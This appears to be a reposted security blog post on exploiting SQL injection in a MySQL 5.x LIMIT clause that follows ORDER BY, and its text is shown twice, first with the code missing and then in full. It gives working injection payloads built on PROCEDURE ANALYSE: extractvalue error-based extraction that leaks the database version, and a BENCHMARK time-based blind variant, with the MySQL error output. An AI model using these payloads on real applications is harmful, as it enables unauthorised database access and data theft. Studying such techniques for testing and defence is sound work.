Countless number of articles was written on the exploitation of SQL
Injections. This post is dedicated to a very specific situation. When
assessing the severity of SQL Injection in certain application, I
encountered a problem, which I was not able to solve quickly using web
search. It’s about a question if SQL injection vulnerability in the
LIMIT clause in MySQL 5.x database is currently exploitable.
Example query:
Of course, important is the fact that the above query contains ORDER BY clause. In MySQL we cannot use ORDER BY before UNION. If ORDER BY was not there it would be actually very easy to exploit it simply using just UNION syntax. The problem has appeared at stackoverflow and it was discussed at sla.ckers too. Sorry no results.
So let’s look at the syntax of the SELECT in the MySQL 5 documentation
After the LIMIT clause may occur following clauses: PROCEDURE and INTO. This INTO clause is not interesting, unless the application uses a database account with permission to write files, which nowadays is rather rare situation in the wild. It turns out that it is possible to solve our problem using PROCEDURE clause.
The only stored procedure available by default in MySQL is ANALYSE (see docs).
Let’s give it a try:
ANALYSE procedure can also take two parameters:
Does not bode us well. Let’s see whether the parameters of ANALYSE are evaluated.
gives us immediate response:
Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully?
It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows:
It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead.
Update: As BigBear pointed out in the comment, very similar solution was actually posted earlier on rdot. Thanks!
Update: It would be awesome if this technique is implemented in sqlmap.
Reference from X-ACE :
https://rateip.com/blog/sql-injections-in-mysql-limit-clause/
Example query:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
Of course, important is the fact that the above query contains ORDER BY clause. In MySQL we cannot use ORDER BY before UNION. If ORDER BY was not there it would be actually very easy to exploit it simply using just UNION syntax. The problem has appeared at stackoverflow and it was discussed at sla.ckers too. Sorry no results.
So let’s look at the syntax of the SELECT in the MySQL 5 documentation
SELECT[ALL | DISTINCT | DISTINCTROW ][HIGH_PRIORITY][STRAIGHT_JOIN][SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT][SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]select_expr [, select_expr ...][FROM table_references[WHERE where_condition][GROUP BY {col_name | expr | position}[ASC | DESC], ... [WITH ROLLUP]][HAVING where_condition][ORDER BY {col_name | expr | position}[ASC | DESC], ...][LIMIT {[offset,] row_count | row_count OFFSET offset}][PROCEDURE procedure_name(argument_list)][INTO OUTFILE 'file_name' export_options| INTO DUMPFILE 'file_name'| INTO var_name [, var_name]][FOR UPDATE | LOCK IN SHARE MODE]]
After the LIMIT clause may occur following clauses: PROCEDURE and INTO. This INTO clause is not interesting, unless the application uses a database account with permission to write files, which nowadays is rather rare situation in the wild. It turns out that it is possible to solve our problem using PROCEDURE clause.
The only stored procedure available by default in MySQL is ANALYSE (see docs).
Let’s give it a try:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE procedure can also take two parameters:
mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);ERROR 1386 (HY000): Can't use ORDER clause with this procedure
Does not bode us well. Let’s see whether the parameters of ANALYSE are evaluated.
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
gives us immediate response:
Therefore, sleep() is certainly not being called. I didn’t give up so fast and I finally found the vector:ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully?
It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead.
Update: As BigBear pointed out in the comment, very similar solution was actually posted earlier on rdot. Thanks!
Update: It would be awesome if this technique is implemented in sqlmap.
Reference from X-ACE :
https://rateip.com/blog/sql-injections-in-mysql-limit-clause/
